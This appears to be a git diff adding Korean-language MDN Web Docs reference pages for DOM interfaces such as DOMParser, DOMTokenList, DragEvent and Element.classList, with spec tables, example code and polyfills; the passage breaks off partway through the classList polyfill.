{{domxref("DocumentOrShadowRoot")}} 인터페이스의 styleSheets 읽기 전용 속성은 문서에서 명시적으로 링크했거나, 안에 포함된 스타일시트에 대한 {{domxref('CSSStyleSheet')}} 객체의 {{domxref('StyleSheetList')}}를 반환합니다.

+ +

예제

+ +
function getStyleSheet(unique_title) {
+  for(var i=0; i<document.styleSheets.length; i++) {
+    var sheet = document.styleSheets[i];
+    if(sheet.title == unique_title) {
+      return sheet;
+    }
+  }
+}
+
+ +

참고

+ +

반환 된 목록은 다음과 같이 정렬됩니다:

+ + + +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Shadow DOM','#extensions-to-the-documentorshadowroot-mixin','DocumentOrShadowRoot')}}{{Spec2('Shadow DOM')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("api.DocumentOrShadowRoot.styleSheets")}}

diff --git a/files/ko/web/api/documenttype/index.html b/files/ko/web/api/documenttype/index.html new file mode 100644 index 0000000000..f2d8f1cfa2 --- /dev/null +++ b/files/ko/web/api/documenttype/index.html @@ -0,0 +1,90 @@ +--- +title: DocumentType +slug: Web/API/DocumentType +tags: + - API + - DOM + - DocumentType + - 인터페이스 +translation_of: Web/API/DocumentType +--- +
{{APIRef("DOM")}}
+ +

DocumentType 인터페이스는 doctype을 포함하는 {{domxref("Node")}} 를 나타냅니다.

+ +

{{InheritanceDiagram}}

+ +

프로퍼티

+ +

부모 {{domxref("Node")}} 로부터 프로퍼티를 상속받고 {{domxref("ChildNode")}} 인터페이스를 구현합니다.

+ +
+
{{domxref("DocumentType.entities")}} {{readonlyInline}} {{obsolete_Inline}}
+
DTD에 선언된 엔티티의 {{domxref("NamedNodeMap")}} 입니다. 이 맵의 모든 노드는 {{domxref("Entity")}} 인터페이스를 구현합니다.
+
{{domxref("DocumentType.internalSubset")}} {{readonlyInline}} {{obsolete_Inline}}
+
내부 하위 집합의 {{domxref("DOMString")}} 입니다. 하위 집합이 존재하지 않을 경우 null입니다. 예, "<!ELEMENT foo (bar)>".
+
{{domxref("DocumentType.name")}} {{readonlyInline}}
+
{{domxref("DOMString")}} 입니다. 예, <!DOCTYPE HTML> 의 경우 "html".
+
{{domxref("DocumentType.notations")}} {{readonlyInline}} {{obsolete_Inline}}
+
DTD에 선언된 노테이션을 포함한 {{domxref("NamedNodeMap")}} 입니다. 이 맵의 모든 노드는 {{domxref("Notation")}} 인터페이스를 구현합니다.
+
{{domxref("DocumentType.publicId")}} {{readonlyInline}}
+
{{domxref("DOMString")}} 입니다. 예, "-//W3C//DTD HTML 4.01//EN", HTML5의 경우 빈 문자열.
+
{{domxref("DocumentType.systemId")}} {{readonlyInline}}
+
{{domxref("DOMString")}} 입니다. 예, "http://www.w3.org/TR/html4/strict.dtd", HTML5의 경우 빈 문자열.
+
+ +

메소드

+ +

부모 {{domxref("Node")}} 로부터 메소드를 상속받고 {{domxref("ChildNode")}} 인터페이스를 구현합니다.

+ +
+
{{domxref("ChildNode.remove()")}} {{experimental_inline}}
+
부모의 자식 리스트로부터 객체를 제거합니다.
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
명세상태코멘트
{{SpecName('DOM WHATWG', '#documenttype', 'DocumentType')}}{{Spec2('DOM WHATWG')}}{{domxref("ChildNode")}} 인터페이스의 구현을 추가했음.
+ internalSubset, entities, notation 프로퍼티를 제거했음.
{{SpecName('DOM3 Core', 'core.html#ID-412266927', 'DocumentType')}}{{Spec2('DOM3 Core')}}{{SpecName('DOM2 Core')}} 으로부터 변경사항 없음.
{{SpecName('DOM2 Core', 'core.html#ID-412266927', 'DocumentType')}}{{Spec2('DOM2 Core')}}publicID, systemID, internalSubset 프로퍼티를 추가했음.
{{SpecName('DOM1', 'level-one-core.html#ID-412266927', 'DocumentType')}}{{Spec2('DOM1')}}초기 정의
+ +

브라우저 호환성

+ + + +

{{Compat("api.DocumentType")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/domobject/index.html b/files/ko/web/api/domobject/index.html new file mode 100644 index 0000000000..29208a9ff2 --- /dev/null +++ b/files/ko/web/api/domobject/index.html @@ -0,0 +1,35 @@ +--- +title: DOMObject +slug: Web/API/DOMObject +tags: + - API + - DOM + - DOM 레퍼런스 + - DOMObject + - 객체 + - 레퍼런스 + - 사용되지않음 +translation_of: Web/API/DOMObject +--- +
{{APIRef("DOM")}}{{Obsolete_header}}
+ +

더 이상 사용되지 않는 DOMObject 인터페이스는 객체 데이터 타입을 위한 기본 클래스로서 DOM 명세의 초기 버전에 사용되었습니다. 명세는 이제 간단히 JavaScript {{jsxref("Object")}} 타입을 사용합니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#DOMObject", "DOMObject")}}{{Spec2("DOM3 Core")}}초기 명세
diff --git a/files/ko/web/api/domparser/index.html b/files/ko/web/api/domparser/index.html new file mode 100644 index 0000000000..27530dabc9 --- /dev/null +++ b/files/ko/web/api/domparser/index.html @@ -0,0 +1,203 @@ +--- +title: DOMParser +slug: Web/API/DOMParser +translation_of: Web/API/DOMParser +--- +
{{APIRef("DOM")}}
+ +

The DOMParser 인터페이스는 DOM {{domxref("Document")}} 문서에 맞는 {{Glossary("XML")}} 및 {{Glossary("HTML")}} 소스 코드를 해석할 수 있는 기반을 제공한다 .

+ +
+

참고: {{domxref("XMLHttpRequest")}} 객체로도 인식 가능한 URL 주소로부터 직접 XML 및 HTML 문서를 해석하여 {{domxref("XMLHttpRequest.response", "response")}} 속성을 통해 Document 객체로 제공한다.

+
+ +

반대로 DOM 구조를 XML 및 HTML 소스 코드로 제공하는 방식은 {{domxref("XMLSerializer")}} 인터페이스를 참고하도록 한다.

+ +

HTML 문서의 경우, {{domxref("Element.innerHTML")}} 속성과 {{domxref("Element.outerHTML", "outerHTML")}} 속성을 통해 DOM 구조를 새로운 방식으로 변경할 수 있다. 또한 이들 속성을 통해 HTML 구조의 하위에 있는 HTML 구조도 불러올 수 있다.

+ +

문법

+ +
let domparser = new DOMParser()​​
+ +

메소드

+ +

{{domxref("DOMParser.parseFromString()", "", "", "1")}}

+ +

문법

+ +
let doc = domparser.parseFromString(string, mimeType)
+ +

반환

+ +

 mimeType 인자를 통해 정의한 형식에 따른 {{domxref("Document")}} 또는{{domxref("XMLDocument")}} 문서를 반환한다.

+ +

인자

+ +

이 메소드에는 2개의 인자가 제공되는데, 모두 필수값이다.

+ +
+
string
+
해석할 {{domxref("DOMString")}} 문자열. 반드시 {{Glossary("HTML")}}, {{Glossary("xml")}}, {{Glossary("xhtml+xml")}} 또는 {{Glossary("svg")}} 문서 형식에 맞아야 한다.
+
mimeType
+
+

아래 표에 정의한 형식을 반환 값으로 제공할 {{domxref("DOMString")}} 문자열.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
mimeTypedoc.constructor
text/html{{domxref("Document")}}
text/xml{{domxref("XMLDocument")}}
application/xml{{domxref("XMLDocument")}}
application/xhtml+xml{{domxref("XMLDocument")}}
image/svg+xml{{domxref("XMLDocument")}}
+
+
+ +

예제

+ +

XML 해석

+ +

parser 변수를 통해 새로이 해석할 객체를 만들었다면, 이제 parseFromString() 메소드를 통해 XML 문서를 해석할 수 있다.

+ +
let parser = new DOMParser()
+let doc = parser.parseFromString(stringContainingXMLSource, "application/xml")
+
+ +

오류 대응

+ +

만약 해석에 실패할 경우, DOMParser 객체는 예외를 발생시키지 않고, 아래와 같은 오류 문서를 반환한다.

+ +
<parsererror xmlns="http://www.mozilla.org/newlayout/xml/parsererror.xml">
+  (영문 오류 내용)
+  <sourcetext>(오류가 발생한 XML 소스 조각)</sourcetext>
+</parsererror>
+
+ +

또한 해석 오류를 오류 콘솔에서도 볼 수 있으며, 여기에 후술할(역주: geckoRelease) 문서 URI도 포함된다

+ +

SVG 및 HTML 해석

+ +

The DOMParser 객체는 {{geckoRelease("10.0")}} 규격에 맞는 SVG 문서도 해석할 수 있으며,{{geckoRelease("12.0")}} 규격에 맞는 HTML 문서를 해석할 수 있다. MIME 형식에 따라 아래와 같이 다른 객체가 반환될 수 있다.

+ +
    +
  1. IME 형식이 text/xml이면, XMLDocument 객체가 반환된다.
  2. +
  3. MIME 형식이 image/svg+xml이면, SVGDocument 객체가 반환된다.
  4. +
  5. MIME 형식이 text/html이면, HTMLDocument 객체가 반환된다.
  6. +
+ +
let parser = new DOMParser()
+let doc = parser.parseFromString(stringContainingXMLSource, "application/xml")
+// Document 객체가 반환되지만, SVGDocument 및 HTMLDocument 객체가 아니다.
+
+parser = new DOMParser();
+doc = parser.parseFromString(stringContainingSVGSource, "image/svg+xml")
+// SVGDocument 객체가 반환되며, 이 또한 Document 객체이기도 하다.
+
+parser = new DOMParser();
+doc = parser.parseFromString(stringContainingHTMLSource, "text/html")
+// HTMLDocument 객체가 반환되며, 이 또한 Document 객체이기도 하다.
+
+ +

DOMParser HTML 확장

+ +
/*
+ * DOMParser HTML 확장
+ * 2012-09-04
+ *
+ * By Eli Grey, http://eligrey.com
+ * Public domain.
+ * 이 구현체에 대한 보증이 없으므로 주의해서 사용할 것.
+ */
+
+/*! @source https://gist.github.com/1129031 */
+/*global document, DOMParser*/
+
+(function(DOMParser) {
+	"use strict";
+
+	var proto = DOMParser.prototype,
+        nativeParse = proto.parseFromString;
+
+	// Firefox/Opera/IE 에서 지원하지 않는 형식에 오류 발생
+	try {
+		// WebKit returns null on unsupported types
+		if ((new DOMParser()).parseFromString("", "text/html")) {
+			// text/html parsing is natively supported
+			return;
+		}
+	} catch (ex) {}
+
+	proto.parseFromString = function(markup, type) {
+		if (/^\s*text\/html\s*(?:;|$)/i.test(type)) {
+			var
+			  doc = document.implementation.createHTMLDocument("")
+			;
+	      		if (markup.toLowerCase().indexOf('<!doctype') > -1) {
+        			doc.documentElement.innerHTML = markup;
+      			}
+      			else {
+        			doc.body.innerHTML = markup;
+      			}
+			return doc;
+		} else {
+			return nativeParse.apply(this, arguments);
+		}
+	};
+}(DOMParser));
+
+ +

규격

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-parsing-and-serialization', 'DOM parsing')}}{{Spec2('HTML WHATWG')}}
+ +

브라우저 호환성

+ + + +

{{Compat("api.DOMParser", 3)}}

+ +

같이 보기

+ + diff --git a/files/ko/web/api/domstring/index.html b/files/ko/web/api/domstring/index.html new file mode 100644 index 0000000000..0a0b547159 --- /dev/null +++ b/files/ko/web/api/domstring/index.html @@ -0,0 +1,43 @@ +--- +title: DOMString +slug: Web/API/DOMString +tags: + - API + - DOM + - Reference + - String +translation_of: Web/API/DOMString +--- +
{{APIRef("DOM")}}
+ +

DOMString은 UTF-16 문자열입니다. JavaScript의 {{jsxref("String")}}도 UTF-16 문자열이기 때문에 DOMStringString으로 연결됩니다.

+ +

DOMString을 받는 매개변수에 {{jsxref("null")}}을 전달하면, 보통 문자열로 변환해 "null"이 됩니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebIDL', '#idl-DOMString', 'DOMString')}}{{Spec2('WebIDL')}}
+ +

같이 보기

+ + diff --git a/files/ko/web/api/domtokenlist/contains/index.html b/files/ko/web/api/domtokenlist/contains/index.html new file mode 100644 index 0000000000..5913cdf749 --- /dev/null +++ b/files/ko/web/api/domtokenlist/contains/index.html @@ -0,0 +1,117 @@ +--- +title: DOMTokenList.contains() +slug: Web/API/DOMTokenList/contains +translation_of: Web/API/DOMTokenList/contains +--- +

{{APIRef("DOM")}}

+ +

The contains() method of the {{domxref("DOMTokenList")}} interface returns a {{domxref("Boolean")}} — true if the underlying list contains the given token, otherwise false.

+ +

Syntax

+ +
tokenList.contains(token);
+ +

Parameters

+ +
+
token
+
A {{domxref("DOMString")}} representing the token you want to check for the existance of in the list.
+
+ +

Return value

+ +

A {{domxref("Boolean")}} — true if the underlying list contains the given token, otherwise false.

+ +

Examples

+ +

In the following example we retrieve the list of classes set on a {{htmlelement("span")}} element as a DOMTokenList using {{domxref("Element.classList")}}. We then test for the existance of "c" in the list, and write the result into the <span>'s {{domxref("Node.textContent")}}.

+ +

First, the HTML:

+ +
<span class="a b c"></span>
+ +

Now the JavaScript:

+ +
var span = document.querySelector("span");
+var classes = span.classList;
+var result = classes.contains("c");
+if(result) {
+  span.textContent = "The classList contains 'c'";
+} else {
+   span.textContent = "The classList does not contain 'c'";
+}
+ +

The output looks like this:

+ +

{{ EmbedLiveSample('Examples', '100%', 60) }}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG','#dom-domtokenlist-contains','contains()')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}10{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +

 

diff --git a/files/ko/web/api/domtokenlist/index.html b/files/ko/web/api/domtokenlist/index.html new file mode 100644 index 0000000000..a3b7c6fd97 --- /dev/null +++ b/files/ko/web/api/domtokenlist/index.html @@ -0,0 +1,115 @@ +--- +title: DOMTokenList +slug: Web/API/DOMTokenList +tags: + - API + - DOM + - DOMTokenList + - Interface + - Reference +translation_of: Web/API/DOMTokenList +--- +
{{APIRef("DOM")}}
+ +

The DOMTokenList interface represents a set of space-separated tokens. Such a set is returned by {{domxref("Element.classList")}}, {{domxref("HTMLLinkElement.relList")}}, {{domxref("HTMLAnchorElement.relList")}}, {{domxref("HTMLAreaElement.relList")}}, {{domxref("HTMLIframeElement.sandbox")}}, or {{domxref("HTMLOutputElement.htmlFor")}}. It is indexed beginning with 0 as with JavaScript {{jsxref("Array")}} objects. DOMTokenList is always case-sensitive.

+ +

Properties

+ +
+
{{domxref("DOMTokenList.length")}} {{ReadOnlyInline}}
+
Is an integer representing the number of objects stored in the object.
+
{{domxref("DOMTokenList.value")}}
+
The value of the list as a {{domxref("DOMString")}}.
+
+ +

Methods

+ +
+
{{domxref("DOMTokenList.item()")}}
+
Returns an item in the list by its index (returns undefined if the number is greater than or equal to the length of the list).
+
{{domxref("DOMTokenList.contains()")}}
+
Returns true if the list contains the given token, otherwise false.
+
{{domxref("DOMTokenList.add()")}}
+
Adds the given token to the list.
+
{{domxref("DOMTokenList.remove()")}}
+
Removes the specified token from the list.
+
{{domxref("DOMTokenList.replace()")}}
+
Replaces an existing token with a new token.
+
{{domxref("DOMTokenList.supports()")}}
+
Returns true if a given token is in the associated attribute's supported tokens.
+
{{domxref("DOMTokenList.toggle()")}}
+
Removes a given token from the list and returns false. If token doesn't exist it's added and the function returns true.
+
{{domxref("DOMTokenList.entries()")}}
+
Returns an {{jsxref("Iteration_protocols","iterator")}} allowing you to go through all key/value pairs contained in this object.
+
{{domxref("DOMTokenList.forEach()")}}
+
Executes a provided function once per DOMTokenList element.
+
{{domxref("DOMTokenList.keys()")}}
+
Returns an {{jsxref("Iteration_protocols", "iterator")}} allowing you to go through all keys of the key/value pairs contained in this object.
+
{{domxref("DOMTokenList.values()")}}
+
Returns an {{jsxref("Iteration_protocols", "iterator")}} allowing you to go through all values of the key/value pairs contained in this object.
+
+ +

Examples

+ +

In the following simple example we retrieve the list of classes set on a {{htmlelement("p")}} element as a DOMTokenList using {{domxref("Element.classList")}}, add a class using {{domxref("DOMTokenList.add()")}}, and then update the {{domxref("Node.textContent")}} of the <p> to equal the DOMTokenList.

+ +

First, the HTML:

+ +
<p class="a b c"></p>
+ +

Now the JavaScript:

+ +
var para = document.querySelector("p");
+var classes = para.classList;
+para.classList.add("d");
+para.textContent = 'paragraph classList is "' + classes + '"';
+ +

The output looks like this:

+ +

{{ EmbedLiveSample('Examples', '100%', 60) }}

+ +

Trimming of whitespace and removal of duplicates

+ +

Methods that modify the DOMTokenList (such as {{domxref("DOMTokenList.add()")}}) automatically trim any excess {{Glossary("Whitespace")}} and remove duplicate values from the list. For example:

+ +
<span class="    d   d e f"></span>
+ +
var span = document.querySelector("span");
+var classes = span.classList;
+span.classList.add("x");
+span.textContent = 'span classList is "' + classes + '"';
+ +

The output looks like this:

+ +

{{ EmbedLiveSample('Trimming_of_whitespace_and_removal_of_duplicates', '100%', 60) }}

+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM WHATWG", "#interface-domtokenlist", "DOMTokenList")}}{{Spec2("DOM WHATWG")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.DOMTokenList")}}

+ +

See also

+ + diff --git a/files/ko/web/api/dragevent/index.html b/files/ko/web/api/dragevent/index.html new file mode 100644 index 0000000000..855e0fa9eb --- /dev/null +++ b/files/ko/web/api/dragevent/index.html @@ -0,0 +1,109 @@ +--- +title: DragEvent +slug: Web/API/DragEvent +tags: + - API + - DragEvent + - Reference + - drag and drop +translation_of: Web/API/DragEvent +--- +
{{APIRef("HTML Drag and Drop API")}}
+ +

The DragEvent interface is a {{domxref("Event","DOM event")}} that represents a drag and drop interaction. The user initiates a drag by placing a pointer device (such as a mouse) on the touch surface and then dragging the pointer to a new location (such as another DOM element). Applications are free to interpret a drag and drop interaction in an application-specific way.

+ +

This interface inherits properties from {{domxref("MouseEvent")}} and {{domxref("Event")}}.

+ +

Properties

+ +
+
{{domxref('DragEvent.dataTransfer')}} {{readonlyInline}}
+
The data that is transferred during a drag and drop interaction.
+
+ +

Constructors

+ +

Although this interface has a constructor, it is not possible to create a useful DataTransfer object from script, since {{domxref("DataTransfer")}} objects have a processing and security model that is coordinated by the browser during drag-and-drops.

+ +
+
{{domxref("DragEvent.DragEvent", "DragEvent()")}}
+
Creates a synthetic and untrusted DragEvent.
+
+ +

Event types

+ +
+
{{event('drag')}}
+
This event is fired when an element or text selection is being dragged.
+
{{event('dragend')}}
+
This event is fired when a drag operation is being ended (by releasing a mouse button or hitting the escape key).
+
{{event('dragenter')}}
+
This event is fired when a dragged element or text selection enters a valid drop target.
+
{{event('dragexit')}}
+
This event is fired when an element is no longer the drag operation's immediate selection target.
+
{{event('dragleave')}}
+
This event is fired when a dragged element or text selection leaves a valid drop target.
+
{{event('dragover')}}
+
This event is fired continuously when an element or text selection is being dragged and the mouse pointer is over a valid drop target (every 50 ms WHEN mouse is not moving ELSE much faster between 5 ms (slow movement) and 1ms (fast movement) approximately. This firing pattern is different than {{Event("mouseover")}} ).
+
{{event('dragstart')}}
+
This event is fired when the user starts dragging an element or text selection.
+
{{event('drop')}}
+
This event is fired when an element or text selection is dropped on a valid drop target.
+
+ +

GlobalEventHandlers

+ +
+
{{domxref('GlobalEventHandlers.ondrag')}}
+
A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('drag')}} event.
+
{{domxref('GlobalEventHandlers.ondragend')}}
+
A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragend')}} event.
+
{{domxref('GlobalEventHandlers.ondragenter')}}
+
A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragenter')}} event.
+
{{domxref('GlobalEventHandlers.ondragexit')}}
+
A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragexit')}} event.
+
{{domxref('GlobalEventHandlers.ondragleave')}}
+
A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragleave')}} event.
+
{{domxref('GlobalEventHandlers.ondragover')}}
+
A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragover')}} event.
+
{{domxref('GlobalEventHandlers.ondragstart')}}
+
A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('dragstart')}} event.
+
{{domxref('GlobalEventHandlers.ondrop')}}
+
A {{domxref('GlobalEventHandlers','global event handler')}} for the {{event('drop')}} event.
+
+ +

Example

+ +

An Example of each property, constructor, event type and global event handlers is included in their respective reference page.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("HTML WHATWG", "#dragevent", "DragEvent")}}{{Spec2("HTML WHATWG")}} 
{{SpecName("HTML5.1", "editing.html#the-dragevent-interface", "DragEvent")}}{{Spec2("HTML5.1")}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.DragEvent")}}

+ +

See also

+ +

{{page("/en-US/docs/Web/API/DataTransfer", "See also")}}

diff --git a/files/ko/web/api/element/accesskey/index.html b/files/ko/web/api/element/accesskey/index.html new file mode 100644 index 0000000000..f3206eae4b --- /dev/null +++ b/files/ko/web/api/element/accesskey/index.html @@ -0,0 +1,34 @@ +--- +title: Element.accessKey +slug: Web/API/Element/accessKey +tags: + - API + - Access Keys + - DOM + - Hotkeys + - NeedsContent + - 레퍼런스 + - 속성 + - 엘리먼트 + - 키보드 단축키 +translation_of: Web/API/HTMLElement/accessKey +--- +
{{APIRef("DOM")}}
+ +

Element.accessKey 속성은 주어진 사용자가 눌러 주어진 엘리먼트로 이동할 수 있는 키 입력 세트입니다.

+ +
+

Element.accessKey 속성은 브라우저에 이미 바인딩 된 키와의 여러 충돌로 인해 거의 사용되지 않습니다. 이를 해결하기 위해, 브라우저는 다른 "적절한" 키(예, Alt + accesskey)와 함께 키가 눌렸을 때동작하도록 구현하였습니다.

+
+ +

브라우저 호환성

+ + + +

{{Compat("api.Element.accessKey")}}

+ +

함께 보기

+ + diff --git a/files/ko/web/api/element/attributes/index.html b/files/ko/web/api/element/attributes/index.html new file mode 100644 index 0000000000..53f9f8f0cf --- /dev/null +++ b/files/ko/web/api/element/attributes/index.html @@ -0,0 +1,72 @@ +--- +title: element.attributes +slug: Web/API/Element/attributes +tags: + - DOM + - Gecko + - Gecko DOM Reference +translation_of: Web/API/Element/attributes +--- +

{{ ApiRef() }}

+

요약

+

주어진 요소의 속성 모음(collection)을 반환합니다.

+

구문

+
varattrs =element.attributes;
+
+

반환하는 개체는 Attr 노드를 포함하는 NamedNodeMap 형입니다. 요소가 지정된 속성이 없으면, 반환하는 개체는 길이가 0입니다. 이 속성은 읽기 전용입니다.

+

+
// 문서에서 첫 <p> 요소 얻기
+var para = document.getElementsByTagName("p")[0];
+var atts = para.attributes;
+
+

주의

+

모음의 항목은 이름과 찾아보기(index)로 접근할 수 있습니다. NodeList와는 달리, NamedNodeMap은 항목을 어떤 특정 순서로 유지하지 않음을 주의하세요.

+

여러분은 문서에서 "p1" 요소의 모든 속성값을 찍는 다음 예에서처럼 요소의 속성을 열거(enumerate)할 때 오직 찾아보기로 접근(access by index)을 써야 합니다.

+
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+
+<html>
+
+ <head>
+  <title>Attributes example</title>
+  <script type="text/javascript">
+   function showFirstAttr()
+   {
+    var firstPara = document.getElementById("p1");
+    var outputText = document.getElementById("result");
+
+    // 먼저, paragraph에 어떤 속성이 있는지 검증
+    if (firstPara.hasAttributes())
+    {
+      var attrs = firstPara.attributes;
+      var text = "";
+      for(var i=attrs.length-1; i>=0; i--) {
+        text += attrs[i].name + "->" + attrs[i].value;
+      }
+      outputText.value = text;
+    } else {
+      outputText.value = "No attributes to show"
+    };
+   }
+  </script>
+ </head>
+
+<body>
+ <p id="p1" style="color: green;">Sample Paragraph</p>
+ <form action="">
+  <p><input type="button" value="Show first attribute name and value"
+      onclick="showFirstAttr();">
+  <input id="result" type="text" value=""></p>
+ </form>
+</body>
+</html>
+
+

NamedNodeMap은 배열처럼 반복될 수 있지만, join, split 등과 같은 Array에 있는 어떤 특수 메소드는 없습니다.

+

이름으로 특정 속성에 접근하려면, getAttribute 메소드를 쓰세요.

+

명세

+ +

{{ languages( { "en": "en/DOM/element.attributes", "fr": "fr/DOM/element.attributes", "pl": "pl/DOM/element.attributes" } ) }}

diff --git a/files/ko/web/api/element/classlist/index.html b/files/ko/web/api/element/classlist/index.html new file mode 100644 index 0000000000..49b710c2be --- /dev/null +++ b/files/ko/web/api/element/classlist/index.html @@ -0,0 +1,285 @@ +--- +title: Element.classList +slug: Web/API/Element/classList +tags: + - API + - DOM + - 레퍼런스 + - 속성 + - 엘리먼트 + - 읽기 전용 +translation_of: Web/API/Element/classList +--- +
{{APIRef("DOM")}}
+ +

Element.classList는 엘리먼트의 클래스 속성의 컬렉션인 활성 {{domxref("DOMTokenList")}}를 반환하는 읽기 전용 프로퍼티이다.

+ +

classList 사용은 공백으로 구분된 문자열인 {{domxref("element.className")}}을 통해 엘리먼트의 클래스 목록에 접근하는 방식을 대체하는 간편한 방법이다.

+ +

구문

+ +
const elementClasses = elementNodeReference.classList;
+
+ +

elementClasseselementNodeReference의 클래스 속성을 나타내는 {{domxref("DOMTokenList")}}이다. 만약 클래스 속성이 설정되어 있지 않거나 비어있다면 elementClasses.length0을 반환한다. element.classList 그 자체는 읽기 전용 프로퍼티지만 add()remove() 메서드를 이용하여 변형할 수 있다.

+ +

메서드

+ +
+
add( String [, String [, ...]] )
+
지정한 클래스 값을 추가한다. 만약 추가하려는 클래스가 엘리먼트의 class 속성에 이미 존재한다면 무시한다.
+
remove( String [, String [, ...]] )
+
지정한 클래스 값을 제거한다.
+
+
노트: 존재하지 않는 클래스를 제거하는 것은 에러를 발생시키지 않습니다.
+
+
item( Number )
+
콜렉션의 인덱스를 이용하여 클래스 값을 반환한다.
+
toggle( String [, force] )
+
하나의 인수만 있을 때: 클래스 값을 토글링한다. 즉, 클래스가 존재한다면 제거하고 false를 반환하며, 존재하지 않으면 클래스를 추가하고 true를 반환한다.
+
두번째 인수가 있을 때: 두번째 인수가 true로 평가되면 지정한 클래스 값을 추가하고 false로 평가되면 제거한다.
+
contains( String )
+
지정한 클래스 값이 엘리먼트의 class 속성에 존재하는지 확인한다.
+
replace( oldClass, newClass )
+
존재하는 클래스를 새로운 클래스로 교체한다.
+
+ +

예제

+ +
const div = document.createElement('div');
+div.className = 'foo';
+
+// our starting state: <div class="foo"></div>
+console.log(div.outerHTML);
+
+// use the classList API to remove and add classes
+div.classList.remove("foo");
+div.classList.add("anotherclass");
+
+// <div class="anotherclass"></div>
+console.log(div.outerHTML);
+
+// if visible is set remove it, otherwise add it
+div.classList.toggle("visible");
+
+// add/remove visible, depending on test conditional, i less than 10
+div.classList.toggle("visible", i < 10 );
+
+console.log(div.classList.contains("foo"));
+
+// add or remove multiple classes
+div.classList.add("foo", "bar", "baz");
+div.classList.remove("foo", "bar", "baz");
+
+// add or remove multiple classes using spread syntax
+const cls = ["foo", "bar"];
+div.classList.add(...cls);
+div.classList.remove(...cls);
+
+// replace class "foo" with class "bar"
+div.classList.replace("foo", "bar");
+ +
+

파이어폭스 26 이전의 버전에서는 add/remove/toggle 메서드에서 여러 인수의 사용을 구현하지 않았다. https://bugzilla.mozilla.org/show_bug.cgi?id=814014 링크를 참조하라.

+
+ +

폴리필

+ +

The legacy onpropertychange event can be used to create a living classList mockup thanks to a Element.prototype.className property that fires the specified event once it is changed.

+ +

The following polyfill for both classList and DOMTokenList ensures full compliance (coverage) for all standard methods and properties of Element.prototype.classList for IE10-IE11 browsers plus nearly compliant behavior for IE 6-9. Check it out:

+ +
// 1. String.prototype.trim polyfill
+if (!"".trim) String.prototype.trim = function(){ return this.replace(/^[\s]+|[\s]+$/g, ''); };
+(function(window){"use strict"; // prevent global namespace pollution
+if(!window.DOMException) (DOMException = function(reason){this.message = reason}).prototype = new Error;
+var wsRE = /[\11\12\14\15\40]/, wsIndex = 0, checkIfValidClassListEntry = function(O, V) {
+  if (V === "") throw new DOMException(
+    "Failed to execute '" + O + "' on 'DOMTokenList': The token provided must not be empty." );
+  if((wsIndex=V.search(wsRE))!==-1) throw new DOMException("Failed to execute '"+O+"' on 'DOMTokenList': " +
+    "The token provided ('"+V[wsIndex]+"') contains HTML space characters, which are not valid in tokens.");
+}
+// 2. Implement the barebones DOMTokenList livelyness polyfill
+if (typeof DOMTokenList !== "function") (function(window){
+    var document = window.document, Object = window.Object, hasOwnProp = Object.prototype.hasOwnProperty;
+    var defineProperty = Object.defineProperty, allowTokenListConstruction = 0, skipPropChange = 0;
+    function DOMTokenList(){
+        if (!allowTokenListConstruction) throw TypeError("Illegal constructor"); // internally let it through
+    }
+    DOMTokenList.prototype.toString = DOMTokenList.prototype.toLocaleString = function(){return this.value};
+    DOMTokenList.prototype.add = function(){
+        a: for(var v=0, argLen=arguments.length,val="",ele=this[" uCL"],proto=ele[" uCLp"]; v!==argLen; ++v) {
+            val = arguments[v] + "", checkIfValidClassListEntry("add", val);
+            for (var i=0, Len=proto.length, resStr=val; i !== Len; ++i)
+                if (this[i] === val) continue a; else resStr += " " + this[i];
+            this[Len] = val, proto.length += 1, proto.value = resStr;
+        }
+        skipPropChange = 1, ele.className = proto.value, skipPropChange = 0;
+    };
+    DOMTokenList.prototype.remove = function(){
+        for (var v=0, argLen=arguments.length,val="",ele=this[" uCL"],proto=ele[" uCLp"]; v !== argLen; ++v) {
+            val = arguments[v] + "", checkIfValidClassListEntry("remove", val);
+            for (var i=0, Len=proto.length, resStr="", is=0; i !== Len; ++i)
+                if(is){ this[i-1]=this[i] }else{ if(this[i] !== val){ resStr+=this[i]+" "; }else{ is=1; } }
+            if (!is) continue;
+            delete this[Len], proto.length -= 1, proto.value = resStr;
+        }
+        skipPropChange = 1, ele.className = proto.value, skipPropChange = 0;
+    };
+    window.DOMTokenList = DOMTokenList;
+    function whenPropChanges(){
